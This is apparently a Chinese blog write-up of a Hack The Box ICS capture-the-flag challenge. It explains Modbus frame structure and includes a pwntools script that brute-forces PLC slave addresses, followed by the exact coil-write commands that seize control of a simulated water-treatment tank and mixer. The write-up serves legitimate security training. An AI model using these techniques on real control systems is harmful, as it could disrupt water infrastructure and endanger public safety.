工业控制系统中的 PLC 接管与 Modbus 攻击:State of Emergency

工业控制系统中的 PLC 接管与 Modbus 攻击:State of Emergency

BushSEC
2026-03-10 / 0 评论 / 1 阅读 / 正在检测是否收录...

题目背景

场景描述:

A DDoS attack is ongoing against our capital city's water management system. Every facility in this system appears to be infected by malware that rendered the HMI interfaces unusable, thus locking out every system administrator out of the SCADA infrastructure.
The incident response team has managed to pinpoint the organization's objective which is to contaminate the public water supply system with toxic chemicals from the water treatment facility.
We need to neutralize the threat before it's too late!

翻译:

针对首都水管理系统的 DDoS 攻击正在进行。系统中的每个设施似乎都被恶意软件感染,导致 HMI 接口无法使用,从而锁定了所有管理员进入 SCADA 系统
事件响应团队已经确认攻击者的目标:利用水处理设施向公共供水系统投毒

我们的任务是:

重新控制 PLC 系统,使水流按照正常路径运行。

题目提供了一份 PDF Briefing,里面描述了水处理设施的 PLC结构与控制逻辑


系统结构分析

1 物理连接

PDF 第一页展示了水处理系统中各个储罐之间的物理连接关系。

所有 绿色设备(传感器 / 执行器) 都是可以控制的。

image.png


2 水箱状态图

PDF 第二页展示了 水箱的状态机

image-1.png

3 水箱逻辑图

PDF 第三页展示了 PLC 控制逻辑。

image-2.png

关键控制变量:


manual_mode
in_valve
out_valve
sensor
force_start

这些变量决定水箱的行为。


4 Mixer 状态机

PDF 第四页Mixer(搅拌罐)的状态机

image-3.png

Mixer 负责:


Water + Chemical → Mix → Output

5 Coil Offset 表

PDF 第五页是最重要的信息

image-4.png

这里给出了 PLC 控制寄存器的 Coil Offset

也就是说:


每一个 PLC 状态变量
都对应一个 Modbus Coil 地址

CLI 接口分析

连接系统:

nc 154.57.164.72 31817

输出:

Water Purification Facility Command Line Interface
[*] Entering interactive mode [Press "H" for available commands]

cmd> H
[*] Available commands:
system: Get system status
modbus: Send command to the network (hex format: AABBCCDDEE[FF])
exit: Exit the interface

关键提示:

modbus: Send command to the network (hex format: AABBCCDDEE[FF])

Modbus 数据结构分析

CLI 提供格式:

AABBCCDDEE[FF]

拆解:

字段长度
AA1 byte
BB1 byte
CC DD2 bytes
EE FF2 bytes

总长度:

1 + 1 + 2 + 2 = 6 bytes

因此结构为:

AA BB CC DD EE FF

对应 Modbus 标准格式

Modbus RTU 标准结构:

[Slave Address][Function Code][Address][Value]
字段长度
Slave Address1 byte
Function Code1 byte
Address2 bytes
Value2 bytes

例如:

01 05 00 01 FF 00

含义:

字节含义
01设备地址
05功能码
0001Coil 地址
FF00写入值

Function Code 05

05 = Write Single Coil

写入值:

FF00 → ON
0000 → OFF

设备地址爆破

题目没有给出 PLC 设备地址,因此需要 爆破 Slave Address

脚本如下:

from pwn import *

def get_state(r):

    state = ""

    r.recvuntil(b"cmd> ")
    r.sendline(b"system")

    state += r.recvuntil(b"\n\n").decode()
    state += r.recvuntil(b"\n\n").decode()

    return state


HOST = "154.57.164.72"
PORT = 31817

r = remote(HOST, PORT)

initial_state = get_state(r)

equipments = {

    "water": {
        "addr": None,
        "init_cmd": b"0500C8FF00"
    },

    "mixer": {
        "addr": None,
        "init_cmd": b"05002DFF00"
    }
}

for i in range(256):

    for equipment in equipments:

        cmd = b"modbus " + hex(i)[2:].upper().encode() + equipments[equipment]["init_cmd"]

        r.recvuntil(b"cmd> ")
        r.sendline(cmd)

        current_state = get_state(r)

        if current_state != initial_state:

            equipments[equipment]["addr"] = hex(i)

            if all([equipments[e]["addr"] for e in equipments]):
                print(equipments)
                r.close()
                exit()
            else:
                initial_state = current_state

    print(f"[*] Try n°{i+1}")

运行结果:

{'water': {'addr': '0x88', 'init_cmd': b'0500C8FF00'},
 'mixer': {'addr': '0x35', 'init_cmd': b'05002DFF00'}}

得到设备地址:

设备地址
water tank0x88
mixer0x35

控制水箱

目标:

让水从 Tank → Mixer

步骤:

1 切换手动模式

modbus 880500C8FF00

2 强制进水

modbus 88050538FF00

3 强制出水

modbus 880504D2FF00

4 关闭低位传感器

modbus 880500400000

当前水箱状态:

{
    "auto_mode": 0,
    "manual_mode": 1,
    "in_valve": 1,
    "out_valve": 1,
    "low_sensor": 0,
    "force_start_in": 1,
    "force_start_out": 1
}

此时:

水从 Tank → Mixer

启动 Mixer

Mixer 有两个输入:

water tank
chemical tank

当前状态:

in_vale_water = 1
in_valve = 0

我们只需要:

让 Mixer 排水

5 启动 Mixer

modbus 3505002DFF00

6 激活 Mixer 高位传感器

modbus 35050044FF00

完整利用命令

┌──(root㉿BushSEC)-[~]
└─# nc 154.57.164.82 31480
Water Purification Facility Command Line Interface
[*] Entering interactive mode [Press "H" for available commands]
cmd> modbus 880500C8FF00
[*] Forwarding command to the network
cmd> modbus 88050538FF00
[*] Forwarding command to the network
cmd> modbus 880504D2FF00
[*] Forwarding command to the network
cmd> modbus 880500400000
[*] Forwarding command to the network
cmd> modbus 3505002DFF00
[*] Forwarding command to the network
cmd> modbus 35050044FF00
[*] Forwarding command to the network
cmd> system
[*] PLCs found: water tank:{"auto_mode": 0, "manual_mode": 1, "stop_out": 0, "stop_in": 0, "high_sensor": 0, "in_valve": 1, "out_valve": 1, "start": 0, "low_sensor": 0, "manual_mode_control": 1, "cutoff": 0, "force_start_out": 1, "force_start_in": 1, "flag": "HTB{m15510n5_5ucc355_f4c1117y_53cu23d!@12r3}"}

mixer:{"auto_mode": 0, "in_vale": 0, "in_vale_water": 1, "out_valve": 1, "in_valve": 0, "start": 1, "low_sensor": 0, "high_sensor": 1}

最终状态

{
    "auto_mode": 0,
    "manual_mode": 1,
    "stop_out": 0,
    "stop_in": 0,
    "high_sensor": 0,
    "in_valve": 1,
    "out_valve": 1,
    "start": 0,
    "low_sensor": 0,
    "manual_mode_control": 1,
    "cutoff": 0,
    "force_start_out": 1,
    "force_start_in": 1,
    "flag": "HTB{m15510n5_5ucc355_f4c1117y_53cu23d!@12r3}"
}

mixer:
{
    "auto_mode": 0,
    "in_vale": 0,
    "in_vale_water": 1,
    "out_valve": 1,
    "in_valve": 0,
    "start": 1,
    "low_sensor": 0,
    "high_sensor": 1
}

成功获取 Flag:

HTB{m15510n5_5ucc355_f4c1117y_53cu23d!@12r3}

总结

本题核心考察:

  1. ICS / SCADA 系统理解
  2. Modbus 协议结构
  3. PLC 控制逻辑分析
  4. 通过 CLI 接口发送 Modbus 指令
  5. 爆破 Slave Address

关键思路:

解析 PDF PLC 逻辑
→ 理解 Modbus 命令结构
→ 爆破设备地址
→ 控制 Water Tank
→ 启动 Mixer
→ 获取 Flag

image-5.png

0

评论 (0)

取消
歌曲封面
0:00